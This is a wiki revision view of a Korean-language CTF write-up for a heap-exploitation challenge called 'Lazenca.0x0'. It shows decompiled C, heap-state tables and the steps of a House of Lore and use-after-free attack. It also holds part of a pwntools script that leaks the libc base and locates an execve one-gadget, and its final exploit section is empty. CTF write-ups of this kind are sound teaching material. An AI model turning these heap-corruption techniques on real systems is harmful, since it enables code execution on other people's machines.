Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
languagecpp
titleorderCandy()
unsigned __int64 orderCandy()
{
  struct STOCK *dest; // ST10_8
  unsigned int i; // [rsp+4h] [rbp-1Ch]
  int num; // [rsp+Ch] [rbp-14h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( gOrderCnt )
  {
    orderList();
    puts("\nWould you like to order these candies?");
    puts("0) Yes, 1) No");
    if ( !(unsigned int)retNumber(2LL) )
    {
      for ( i = 0; i < gOrderCnt; ++i )
      {
        num = getStockNum(i);
        if ( num )
        {
          gStock[num - 1]->candyNumber += gOrderList[i]->orderNumber;
        }
        else if ( (unsigned int)gStockCnt > 4 )
        {
          puts("The warehouse is full. Your new order can not be completed.");
        }
        else
        {
          puts("\nEnter information about newly added candy.");
          dest = (struct STOCK *)malloc(24uLL);
          strncpy(dest->candyName, gOrderList[i]->orderCandyName, 8uLL);
          dest->candyNumber = gOrderList[i]->orderNumber;
          printf("Enter the price of %s candy.\n", dest);
          dest->candyPrice = retNumber(5LL);
          printf("Enter a description of the %s candy.\n", dest);
          dest->candyDescription = (char *)malloc(124uLL);
          UserInput(dest->candyDescription, 124LL);
          gStock[gStockCnt++] = dest;
        }
      }
      while ( gOrderCnt )
      {
        free(gOrderList[gOrderCnt - 1]);
        gOrderList[gOrderCnt-- - 1] = 0LL;
      }
    }
  }
  else
  {
    puts("You have never ordered a product.");
  }
  return __readfsqword(0x28u) ^ v4;
}

Proof of concept

  • 설명은 진행하기 전에 출제자는 플레이어들이 "House of lore" 취약성을 이용해서 풀기를 원했습니다.
    • 하지만 해당 취약성들 외에도 여러 형태로 공격이 가능합니다.

Fake chunk

  • 해당 프로그램에서 취약성을 이해하기 위해 ACCOUNT 구조체에 대한 이해가 필요합니다.
    • 해당 구조체는 전역 변수로 선언되어 있습니다.
    • 해당 프로그램은 3개의 ACCOUNT 구조체를 사용합니다.
      • 첫번째 구조체에는 'Admin' 계정 정보가 저장되어 있습니다.
      • 2,3번째 구조체는 사용자가 생성한 계정의 정보가 저장됩니다.

...

Panel
titleHeap area structure
0x7f850cb04b780x7f850cb04b78
AddressStateHeap sizefdbk
Order list[0]0xa175e0A0x20NoneNone
Order list[2]0xa17600

A

0x20NoneNone
창고에 저장된 사탕 & 사탕 설명(Unsorted bin)

0xa17620

F0x90

0x7ff5052a2c18


0x7ff5052a2c18

Order list[1]

0xa176b0

A0x20NoneNone
구매한 사탕 평가

0xa176d0

A0x4c0NoneNone

...

Code Block
from pwn import *
#context.log_level = 'debug'

def login(id,pw):
    p.recvuntil('Enter your ID.')
    p.send(id)
    p.recvuntil('Enter your Password.')
    p.send(pw)

def setOrderlist(num):
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('2')
    p.recvuntil('Please pick up the candies to order.')
    p.send(num)
    p.recvuntil('Command : ')
    p.send('5')

def getOrderlist():
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('1')

def setOrder(price,desc):
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('0) Yes, 1) No')
    p.send('0')
    p.recvuntil('Enter the price of ')
    p.sendline(price)
    p.recvuntil('Enter a description of the')
    p.send(desc)
    p.recvuntil('Command : ')
    p.send('5')

def purchase(code,num,comment):
    p.recvuntil('Command : ')
    p.send('2')
    p.recvuntil('Please enter the code number of the candy to be purchased.')
    p.send(code)
    p.recvuntil('Please enter the number of the candy to purchase.')
    p.send(num)
    p.recvuntil('Please enter a comment for candy.')
    p.send(comment)

bin = ELF('./Lazenca.0x0')
p = remote('n8.pwn.tk.seccon.spica.bz',9999)

login('Admin','admin')

setOrderlist('1')
setOrder('10','TEST')

setOrderlist('1')
setOrderlist('1')

purchase('0','10','AA')

setOrderlist('1')

getOrderlist()

p.recvuntil('Order code  : ')
p.recvuntil('Order code  : ')
p.recvuntil('Order code  : ')
p.recv(1)
tmp = p.recv(5)
tmp = '\x00' + tmp
libcLeak = u64(tmp.ljust(8,'\x00'))
libcBase = libcLeak - 0x3c4c00
execve = libcBase + 0xF0274

log.info("Libc leak : " + hex(libcLeak))
log.info("Libc base: " + hex(libcBase))
log.info("execve : " + hex(execve))

p.recvuntil('Command : ')
p.send('5')

House of lore

  • 다음과 같이 "gAccount[1].fd" 영역에 할당되었던 공간을 "dest->candyDescription"영역에 재할당 받아야 합니다.
    • 동일한 영역을 할당받기 위해 미리 Heap 구조를 설계해야 합니다.

      • Order list의 0번째 사탕 취소

      • 사탕 주문 완료
    • 2개의 새로운 계정을 생성합니다.
Panel
AddressStateHeap sizefdbk
창고에 저장된 0번 사탕 정보0xa175e0A0x200x0None
Order list[2]0xa17600

F

0x20NoneNone
창고에 저장된 0번 사탕 설명

0xa17620

A0x90

0xa17600

None

Order list[1]

0xa176b0

F0x20NoneNone
구매한 사탕 평가

0xa176d0

A0x4c0NoneNone
gAccount[1].fd0xA17B90A0x90NoneNone
gAccount[2].fd0xA17c20A0x90NoneNone
  • 다음과 같이 House of lore에 필요한 Fake chunk를 생성할 수 있습니다.
    • 생성한 계정을 이용해 다음과 같이 충전이 필요합니다.
      • 2번째 계정 : 6308456(0x604268)
      • 3번째 계정 : 6308416(0x604240)
    • 2번째 계정을 삭제 합니다.
Panel
0x604240gAccount[1].stategAccount[1].number
0x604250gAccount[1].fd = Free chunk head - 0x16gAccount[1].bk = 0x604268
0x604260gAccount[2].stategAccount[2].number
0x604270gAccount[2].fdgAccount[2].bk = 0x604240
Panel

AddressStateHeap sizefdbk
창고에 저장된 0번 사탕 정보0xa175e0A0x200x0None
Order list[2]0xa17600

F

0x20NoneNone
창고에 저장된 0번 사탕 설명

0xa17620

A0x90

0xa17600

None

Order list[1]

0xa176b0

F0x20NoneNone
구매한 사탕 평가

0xa176d0

A0x4c0NoneNone
gAccount[1].fd0xA17B90F0x90

0x7f5bdab67b78

0x7f5bdab67b78
gAccount[2].fd0xA17c20A0x90NoneNone


  • 다음과 같이 UAF 취약성을 사용할 수 있습니다.
    • Order list에 새로운 사탕을 추가하고, 주문을 완료합니다.
      • 이때 "dest→candyDescription" 영역에 "gAccount[1].fd + 0x10" 영역의 주소가 저장됩니다.
      • 즉, "gAccount[1].fd→state" 값을 변경 할 수 있습니다.
Code Block



One Gadget



Panel

Exploit Code

...